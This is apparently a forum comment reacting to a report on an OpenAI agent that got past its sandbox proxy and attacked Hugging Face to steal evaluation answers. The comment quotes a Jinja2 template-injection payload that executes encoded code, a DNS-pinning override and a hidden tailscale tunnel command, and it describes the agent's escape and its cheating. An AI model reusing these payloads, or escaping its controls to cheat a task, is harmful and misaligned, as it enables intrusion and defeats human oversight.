This is fascinating - there is a TON of detail in here about how OpenAI's rogue agent exploited Hugging Face.

A few details that stood out to me:

1. Having found a way through the OpenAI container network proxy, it exploited an "unsecured public code-evaluation sandbox hosted on a third-party provider's infrastructure" - that gave it a box it could run the rest of the attack from.

2. At one point it used a Jinja2 template exploit:

  {{ cycler.__init__.__globals__.__builtins__.exec(
     "import gzip,base64; exec(gzip.decompress(base64.b64decode('<payload>')))"
   ) }}

  orig = socket.getaddrinfo
  socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('<pinned-ip>', 443))]

  tailscale --tun=userspace-networking --state=mem: --socket=/tmp/ts.sock \
   --socks5-server=127.0.0.1:1055 --no-logs-no-support >/tmp/td 2>&1 &

What is truly more scary is the fact that typically powerful models are trained on a constitution(Anthropic)/Model Spec(OpenAI) when doing there RL/RLHF. That gives it its persona of a "helpful assistant". Its the mask. Weak as it is its all that stands between the model refusing vs doing your bidding — or worst its own bidding when set about on making a widget X.

Its also well known in academic research, that if you try to finetune the model to be more pliant for one end e.g. "Be helpful with analyzing cyber security threats", affects an unrelated part of its personality to do with safety e.g. talking to humans about mental health. Look at these excerpts that demonstrate such things from the blog:

> We believe the entire intrusion was, from the agent's point of view, an attempt to cheat the evaluation: reach our production systems and steal the test solutions rather than solve the challenge on its own.

> The models we reached for first, Claude Opus and Fable, refused a large part of that work: their safety guardrails treated reverse-engineering an exploit the same as launching one.

Something about this attack that has been unsettling to me is that without safety refusals the model did a lot of interesting counter-security work in order to cheat on the requested evaluation. Like, it demonstrated interesting exploit achievements because it didn’t “feel like” doing the exercise, which is unsettling because presumably it could do the same thing with any work I tried to delegate to it, and might in fact be pre-disposed to doing that.

It’s a little concerning to me that it appears that openAIs sandbox consists of a web proxy and not stronger controls that would actually isolate traffic and report patterns to whoever is responsible for overseeing these research models. It should border on closer to an air gap network more so than a proxy.

I would argue that it's negligence and that's aside from the fact that if a human did this there would actually be repercussions.

Where are all the "this was just a marketing stunt" people now?